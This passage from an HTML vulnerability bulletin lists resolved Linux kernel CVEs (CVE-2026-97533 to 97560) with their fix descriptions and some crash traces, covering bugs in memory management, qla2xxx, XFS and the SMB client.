spinlocks are held upon entry to __change_page_attr_set_clr(). However, the lock must not be held over an allocation, as allocation can trigger reclaim and shrinkers may call into CPA recursively, making deadlocks possible (init_mm -&amp;gt; ... -&amp;gt; fs_reclaim -&amp;gt; init_mm). A page table is allocated when a huge page needs to be split: -&amp;gt; change_page_attr_set_clr() -&amp;gt; __change_page_attr_set_clr() -&amp;gt; __change_page_attr() -&amp;gt; split_large_page() [ pagetable_alloc() ] -&amp;gt; __split_large_page() Avoid deadlocks by dropping the mmap lock across pagetable_alloc() in split_large_page() and track whether this is needed by adding a new &#039;init_mm_read_locked&#039; flag to struct cpa_data. This is safe as __split_large_page() (called with locks re-established) revalidates that the page table entry is the same as it was prior to the locks being dropped and __change_page_attr() repeats the entire page table walk whenever a split occurs, so concurrent split and collapse are accounted for. Concurrent ptdump is also safe as the lock is only dropped over page table allocation during which time the page table has not yet been modified. The CPA_COLLAPSE flag is only set by set_memory_rox(), which exclusively operates upon vmalloc ranges, and on x86 only within the module mapping space. This is important, because some callers directly invoke __change_page_attr_set_clr(), bypassing this lock. However, none of these operate within the module mapping space. * cpa_process_alias() - a recursive helper called by __change_page_attr_set_clr(). * __set_memory_enc_pgtable() - operates on the direct mapping and (via __vmbus_establish_gpadl()) the vmalloc mapping space. * __set_pages_[n]p() - called by set_direct_map_[invalid, default, valid]_noflush(), __kernel_map_pages() - operates on the direct map. * kernel_[un]map_pages_in_pgd() - operates on EFI ranges. This work is based upon Denis V. Lunev&#039;s excellent analysis of the bug with gratitude. [ dhansen: move to imperative voice in changelog ]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97533&quot; target=&quot;_blank&quot;&gt;CVE-2026-97533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: accurately adjust free_sections during free_segment_range In free_segment_range(), MAIN_SECS(sbi) is temporarily reduced by `secs` to restrict block allocation to the safe remaining main area while valid blocks in the truncated range are evacuated by GC. However, FREE_I(sbi)-&amp;gt;free_sections tracks the total number of free sections across the whole filesystem. If any sections within the truncated range were already free upon entering free_segment_range(), failing to deduct them from free_sections causes the filesystem to overestimate available free sections in the active, reduced main area. This leads to inconsistent free section accounting during GC data migration and can trigger unexpected allocation failures or assertion errors when space is tight. Fix this by calculating the number of already-free sections in the truncated range, deducting them from free_sections upon entering free_segment_range(), and restoring them on exit.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97534&quot; target=&quot;_blank&quot;&gt;CVE-2026-97534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound VP index against VP_CTRL IOCB bitmap size The VP control IOCB selects its target virtual port by setting one bit in vp_idx_map, a fixed 16-byte (128-bit) array in both vp_ctrl_entry_24xx and vp_ctrl_entry_24xx_ext. qla25xx_ctrlvp_iocb() computes map = (vp_index - 1) / 8 and writes vce-&amp;gt;vp_idx_map[map] without checking that map stays within the array. max_npiv_vports is taken from firmware and only sanitized to a MIN_MULTI_ID_FABRIC-aligned boundary, so it can legitimately be 191 or 255, and qla24xx_control_vp() only rejects vp_index &amp;gt;= max_npiv_vports. A vp_index above 128 therefore yields map &amp;gt;= 16 and an out-of-bounds write of up to 16 bytes past vp_idx_map, corrupting the trailing IOCB fields (or the adjacent request-ring slot on the 64-byte layout). Reject a vp_index that cannot be represented in the IOCB bitmap in qla24xx_control_vp(), and add a defensive ARRAY_SIZE() guard in qla25xx_ctrlvp_iocb() before the write. Adapters that report the usual 63 or 127 NPIV vports are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97535&quot; target=&quot;_blank&quot;&gt;CVE-2026-97535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix queue teardown NULL dma_free and bitmap locking qla25xx_free_req_que() and qla25xx_free_rsp_que() have two pre-existing bugs exposed on the error path of qla25xx_create_{req,rsp}_que(): 1. When dma_alloc_coherent() fails during queue creation, the error path calls the free function with req-&amp;gt;ring / rsp-&amp;gt;ring still NULL (from kzalloc). The unconditional dma_free_coherent() with a NULL cpu_addr is undefined behavior and can panic. 2. The free functions clear req_qid_map / rsp_qid_map under vport_lock, but the create functions protect the same bitmaps with mq_lock. This provides no mutual exclusion. Additionally, the create error path clears the bit and releases mq_lock before calling the free function, creating a window where another thread can allocate the same que_id and have its ha-&amp;gt;req_q_map entry clobbered by the subsequent lockless NULL assignment in the free function. Fix by: - Guarding dma_free_coherent() with a NULL check on the ring pointer. - Using mq_lock (the lock held by all creators) in the free functions to atomically NULL the map entry and clear the bitmap bit. - Removing the now-redundant clear_bit blocks from the create error paths since the free functions handle it atomically.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97537&quot; target=&quot;_blank&quot;&gt;CVE-2026-97537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwmon: (asus_rog_ryujin) Validate HID report lengths rog_ryujin_raw_event() parses response headers and payload fields without first checking that they are present in the received report. A short report can therefore make the driver consume uninitialized bytes from the HID transport buffer and expose them as sensor values through sysfs. Validate the response header and the fields used by each response type before parsing them.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97538&quot; target=&quot;_blank&quot;&gt;CVE-2026-97538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: xusbatm: don&#039;t rely on id table pointer arithmetic The current code is broken when dynamic ID is involved; in such cases usb_device_id parameter of probe lives on the heap and the pointer arithmetic will get an index that is wildly out of bound. xusbatm initialize the USB device IDs dynamically so it can just use driver_info too. Even with conversion, xusbatm still cannot support dynamic IDs, so also set no_dynamic_id.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97539&quot; target=&quot;_blank&quot;&gt;CVE-2026-97539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: usb: pegasus: don&#039;t rely on id table pointer arithmetic The current code is broken when dynamic ID is involved; in such cases usb_device_id parameter of probe lives on the heap and the pointer arithmetic will get an index that is wildly out of bound. Instead of keeping a side table for additional information, use driver_info field of the usb_device_id. The dynamic ID parsing code needs to be updated for this; convert it to just write to the reserved entry for dynamic ID and remove the weird loop.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97540&quot; target=&quot;_blank&quot;&gt;CVE-2026-97540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath9k_htc: don&#039;t store usb_device_id usb_device_id is not guaranteed to live longer than probe due to presence of dynamic ID. All information apart from driver_data can be easily retrieved from usb_device, so just store driver_data.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97541&quot; target=&quot;_blank&quot;&gt;CVE-2026-97541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: bail out on bitmap errors in xrep_agfl_fill LOLLM also points out that the xagb_bitmap_set call in xrep_agfl_fill can fail, but we don&#039;t check the result of xagb_bitmap_walk, so we silently drop the error and proceed with inconsistent incore data. That shouldn&#039;t be allowed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97542&quot; target=&quot;_blank&quot;&gt;CVE-2026-97542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: destroy seen inode bitmap when we fail to add a dirpath LOLLM observes a memory leak in xchk_dirtree_create_path if we create the directory path object but appending the name to the path fails. When this happens, we don&#039;t tear down the (empty) seen inode bitmap. This is a pretty trivial error, but let&#039;s not leave logic bombs. Do the same for a similar bug in xrep_dirtree_create_adoption_path.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97543&quot; target=&quot;_blank&quot;&gt;CVE-2026-97543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: don&#039;t leak dqacct if rhashtable insertion fails LOLLM observes that xqcheck_mod_live_ino_dqtrx doesn&#039;t free the newly allocated dqa object if rhashtable insertion fails. Fix this leak.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97544&quot; target=&quot;_blank&quot;&gt;CVE-2026-97544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: don&#039;t leak new_bp if xfs_btree_bload_drop_buf fails LOLLM observes that in xfs_btree_bload_prep_block, xfs_btree_bload_drop_buf can hit an IO error if writing the delwri buffer list to disk fails. In this case, we fail to release new_bp, which means we lose a locked buffer. Fix that.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97545&quot; target=&quot;_blank&quot;&gt;CVE-2026-97545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: don&#039;t spin forever on zero-length dirents when salvaging them LOLLM noticed that xrep_dir_recover_data can spin forever if it encounters an unused dirent that claims to have length zero. Fix that, and prevent the same thing from happening with a zero-length entry.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97546&quot; target=&quot;_blank&quot;&gt;CVE-2026-97546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: fix exchange-range reflink flag clearing issue with INO1_WRITTEN When exchanging two full-file ranges, xmi_can_exchange_reflink_flags() can move the reflink inode flag from the file that currently has it to the other file, as long as exactly one side is marked. This assumes that the file contents, and therefore all shared extents, are exchanged. That assumption is not true when XFS_EXCHMAPS_INO1_WRITTEN is set. xfs_exchmaps_can_skip_mapping() can skip hole and unwritten mappings from file1, so an exchange can complete without moving every mapping that the earlier flag-swap decision accounted for. In that case the post-operation cleanup can clear the reflink flag from an inode that still owns shared written extents. Later writes then take the non-reflink write path and may update blocks that should still have been protected by CoW, which shows up as data corruption between reflink-related files. Fix this by disabling the reflink flag exchange whenever XFS_EXCHMAPS_INO1_WRITTEN is requested. The contents exchange can still proceed; the conservative outcome is that both inodes keep the reflink flag. The regular reflink flag cleanup path can drop the extra flag later once the inode no longer has shared extents.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97547&quot; target=&quot;_blank&quot;&gt;CVE-2026-97547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: fix under-reservation of blocks when repairing sf directories Whilst running QA on XFS for-next as of 7.3-rc2 with MKFS_OPTIONS=&quot;-n size=8192&quot;, I observed the following (trimmed) dmesg splat: XFS: Assertion failed: args-&amp;gt;total &amp;gt;= dp-&amp;gt;i_nblocks - nblks, file: fs/xfs/libxfs/xfs_da_btree.c, line: 2387 WARNING: fs/xfs/xfs_message.c:104 at assfail+0x46/0x4a [xfs], CPU#0: xfs_scrub/1426511 CPU: 0 UID: 0 PID: 1426511 Comm: xfs_scrub Tainted: G W 7.3.0-rc2-djwx #rc2 PREEMPT(lazy) 6e418570b606a39783b0e7e7b30dc407b965f9e8 Tainted: [W]=WARN RIP: 0010:assfail+0x46/0x4a [xfs] RSP: 0018:ffffc900010d7890 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000000ffffffd1 RDX: 0000000000000000 RSI: 0000000000000021 RDI: ffffffffa059fd38 RBP: 0000000000000002 R08: 0000000000000000 R09: 0000000000000000 R10: 000000000000000a R11: 000000007fffffff R12: ffffc900010d7940 R13: ffff888368d8f980 R14: ffffc900010d7a48 R15: ffffc900010d78d0 FS: 00007f445c5ce680(0000) GS:ffff8884a97ea000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f443803b9a8 CR3: 0000000107a4b000 CR4: 00000000003506f0 Call Trace: &amp;lt;TASK&amp;gt; xfs_da_grow_inode_int+0x2e0/0x300 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xfs_dir2_grow_inode+0x6e/0x150 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xfs_dir2_sf_to_block+0x149/0x870 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xrep_dir_swap_prep+0xe2/0x110 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xrep_dir_swap+0xfb/0x2f0 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xrep_dir_rebuild_tree+0x99/0x100 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xrep_directory+0x83/0x1c0 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xrep_attempt+0x4f/0x1e0 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xfs_scrub_metadata+0x393/0x5b0 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xfs_ioc_scrubv_metadata+0x306/0x570 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] xfs_file_ioctl+0xa4f/0x1150 [xfs 5de2257e14108c136f11317e6bbb8ac77efd392c] __x64_sys_ioctl+0x76/0xc0 do_syscall_64+0x7a/0x3b0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 This is a consequence of commit 0fe77e57588b98, which added the following assertion to xfs_da_grow_inode_int: ASSERT(args-&amp;gt;total &amp;gt;= dp-&amp;gt;i_nblocks - nblks); Tracing this back to xrep_dir_swap_prep, I noticed that the xfs_da_args object that&#039;s passed to xfs_dir2_sf_to_block sets args-&amp;gt;total to 1. This is incorrect because mkfs set the directory block size to 8k and the filesystem block size to 4k. In other words, args-&amp;gt;total should be 2 here, not 1. Dave Chinner tripped over the same problem with the same branch through a different channel -- his test setup set the fs block size to 1k, in which case the directory block size is still set to 4k. Here, args-&amp;gt;total should be 4. Changing the assignment of args-&amp;gt;total to sc-&amp;gt;mp-&amp;gt;m_dir_geo-&amp;gt;fsbcount makes the assertion go away, but that isn&#039;t a complete fix. In xrep_tempexch_estimate, we also incorrectly assume that a shortform conversion requires 1 fsblock when it should be m_dir_geo-&amp;gt;fsbcount. Without that, we can under-reserve space in the transaction and cause a filesystem shutdown. Note that the xfs_dabuf_nfsb helper will compute the correct value for directories and xattr, so we use that instead of open-coding the logic. Also fix xrep_xattr_swap_prep to assign args-&amp;gt;total via xfs_dabuf_nfsb to avoid one logic bomb if we ever support multi-fsblock attrs. Tripped-by: 0fe77e57588b98 (&quot;xfs: assert the reservation covers each da fork growth&quot;)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97549&quot; target=&quot;_blank&quot;&gt;CVE-2026-97549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: fix unit conversions in per_binval computation LOLLM noticed that we&#039;re doing the unit conversion in the per_binval computation backwards -- xfs_buf_inval_log_space&#039;s second parameter is supposed to be in bytes, but max_binval is in units of fsblocks. Hence the conversion should be FSB -&amp;gt; B, not the other way around.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97550&quot; target=&quot;_blank&quot;&gt;CVE-2026-97550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: initialise args-&amp;gt;total for parent pointer updates xfs_parent_da_args_init() builds an xfs_da_args from a zeroed xfs_parent_args (kmem_cache_zalloc), leaving args-&amp;gt;total == 0. xfs_da_grow_inode_int() treats that field as a running block reservation and subtracts from it; because it is an xfs_extlen_t (uint32_t), the first attr-fork growth wraps it to ~0U. That defeats the free-space check in xfs_alloc_space_available(), and when it coincides with an AG that has exactly zero available blocks the allocation is clamped to maxlen 0 and returns -ENOSPC, which xfs_defer_finish_noroll() escalates to a filesystem shutdown. Set args-&amp;gt;total the way the log recovery path does (xfs_attri_recover_work(), xfs_attr_item.c:706), in the add and replace paths that can grow the fork. Removals and lookups never grow it, so they leave the field alone, matching that switch.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97551&quot; target=&quot;_blank&quot;&gt;CVE-2026-97551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: initialise error in xfs_defer_finish_one() xfs_defer_finish_one() declares error without an initialiser and only assigns it inside the loop over dfp-&amp;gt;dfp_work. When that list is empty the loop body never runs, control falls through to the &quot;Done with the dfp, free it&quot; path, and the function returns an indeterminate value. An item-less pending item reaches this through xfs_defer_add_barrier(), which xfs_reap_ag_blocks() uses on any CONFIG_XFS_ONLINE_REPAIR kernel. xfs_defer_finish_noroll() treats any non-EAGAIN return as fatal, so a non-zero stack value turns a successful barrier into a SHUTDOWN_CORRUPT_INCORE in the middle of a repair. Zero is the correct result: reaching the free path means the item loop drained without a non-zero error.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97552&quot; target=&quot;_blank&quot;&gt;CVE-2026-97552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfs: lock the healthmon when inserting unmount event LOLLM complains that xfs_healthmon_unmount does an unlocked insert of the unmount event into the health monitor&#039;s event list. Fix that.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97553&quot; target=&quot;_blank&quot;&gt;CVE-2026-97553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: avoid using uninitialized SIDs in cifs_posix_to_fattr() cifs_posix_to_fattr() ignores the return value of posix_info_parse(). When a malformed POSIX directory entry is encountered (e.g. invalid SID lengths from an untrusted server), posix_info_parse() returns -1 without populating the &#039;parsed&#039; struct. The uninitialized stack memory in parsed.owner and parsed.group is then passed to sid_to_id(), which processes the garbage bytes and passes them to request_key() to construct a SID string, potentially leaking kernel stack contents to the userspace idmap daemon. Fix this by checking the return value and skipping the SID-to-id mapping when parsing fails. The remaining fattr fields (timestamps, mode, etc.) are populated directly from the &#039;info&#039; pointer so they are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97554&quot; target=&quot;_blank&quot;&gt;CVE-2026-97554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: avoid leaking refcount when cifs_sb_tlink() fails cifs_oplock_break() takes over the reference that cifs_queue_oplock_break() acquired when it queued the work, and drops it with _cifsFileInfo_put() once the break has been processed. Only in setups with &quot;-o multiuser&quot;, cifs_sb_tlink() may fail, at which point cifs_oplock_break() returns without putting the file reference, mirroring the reference leak we already fixed in the companion patch to cifs_queue_oplock_break(). This would trigger a crash due to busy inodes on the next unmount: BUG: Dentry ... still in use (1) [unmount of cifs cifs] VFS: Busy inodes after unmount of cifs (cifs) Drop the reference on that path as well. Doing so before the out label mirrors the normal path, which also puts the reference before cifs_done_oplock_break(). Found by Sashiko code review. The failure path was not exercised at runtime.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97556&quot; target=&quot;_blank&quot;&gt;CVE-2026-97556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix cifsFileInfo reference leak in deferred close When cifs_close() defers a close, it hands the cifsFileInfo reference of the closing struct file to the queued work. Each execution of smb2_deferred_work_close() drops one such reference. deferred_close_scheduled can be false while the work is pending: the workqueue clears PENDING when the callback starts to run, before the callback clears the flag under deferred_lock. A close in that interval requeues the running work, and the callback then clears the flag, leaving the requeued work pending with the flag down. A later cifs_open() can reuse the handle and its cifs_close() reaches the same branch: queue_delayed_work() fails because the work is still pending, but cifs_close() returns without dropping the closing file&#039;s reference. The cifsFileInfo count stays pinned and its tlink, dentry and server handle are leaked. Check the return value and hand off the reference only when work was actually queued. Otherwise, use the shared _cifsFileInfo_put(), like the mod_delayed_work() branch above: the pending execution already owns its reference. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97558&quot; target=&quot;_blank&quot;&gt;CVE-2026-97558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fail DACL rewrite when the new DACL exceeds 64K replace_sids_and_copy_aces() and set_chmod_dacl() accumulate the size of the DACL they build in a u16. That accumulator can wrap. validate_dacl() caps num_aces at (dacl_size - sizeof(struct smb_acl)) / 20, i.e. 3276 for a maximally sized DACL, while each rewritten ACE can grow to sizeof(struct smb_ace) (76 bytes) once its SID is replaced with one carrying SID_MAX_SUB_AUTHORITIES sub-authorities. The worst case is therefore sizeof(struct smb_acl) + 3276 * 76 = 248984 bytes, far beyond what a u16 can hold. A wraparound is reached with 863 ACEs. After the wraparound, ndacl_ptr-&amp;gt;size becomes meaningless and the offset will point anywhere in the ACE array. As a result, we will see corruption of the DACL, which then gets sent to the server. This is not an out-of-bounds write as the allocation now covers the worst-case expansion, so writes will always go into the buffer. Adjust the code to use a u32 internally and return -EOVERFLOW in the overflow case. The operation must be refused, because a DACL can only hold 2^16-1 bytes on the wire and larger DACLs cannot be represented. set_chmod_dacl() carries the same pattern and is fixed the same way. It only wraps once the source DACL comes within roughly 380 bytes of the 64K ceiling, but the failure mode is identical.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97559&quot; target=&quot;_blank&quot;&gt;CVE-2026-97559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2_parse_native_symlink() When parsing a share-root relative native symlink, memcpy copies smb_target+1 (skipping the leading separator) but uses strlen(smb_target)+1 as the length, reading one byte past the allocated buffer. This fixes the following KASAN splat when accessing an SMB symlink with a target of &#039;\a\b&#039;: BUG: KASAN: slab-out-of-bounds in smb2_parse_native_symlink+0x4f5/0xca0 Read of size 5 at addr ffff88800878fe21 by task netfsfuzz-execu/1 CPU: 1 UID: 0 PID: 1 Comm: netfsfuzz-execu Tainted: G N 7.2.0-11943-g2709dd5ae32f-dirty #1 PREEMPT(lazy) Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996) Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0x7b/0xa0 print_report+0xd0/0x630 kasan_report+0xe5/0x120 kasan_check_range+0x105/0x1b0 __asan_memcpy+0x23/0x60 smb2_parse_native_symlink+0x4f5/0xca0 parse_reparse_point+0x68a/0x1530 reparse_info_to_fattr+0x752/0xa20 cifs_get_fattr+0x873/0x15b0 cifs_get_inode_info+0xc0/0x310 cifs_lookup+0x308/0xa70 __lookup_slow+0x122/0x2b0 lookup_slow+0x50/0x70 path_lookupat+0x525/0xaf0 filename_lookup+0x1f2/0x550 vfs_statx+0xd1/0x1a0 vfs_fstatat+0x65/0xc0 __do_sys_newfstatat+0x9a/0x120 do_syscall_64+0xdd/0x4a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97560&quot; target=&quot;_blank&quot;&gt;CVE-2026-97560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
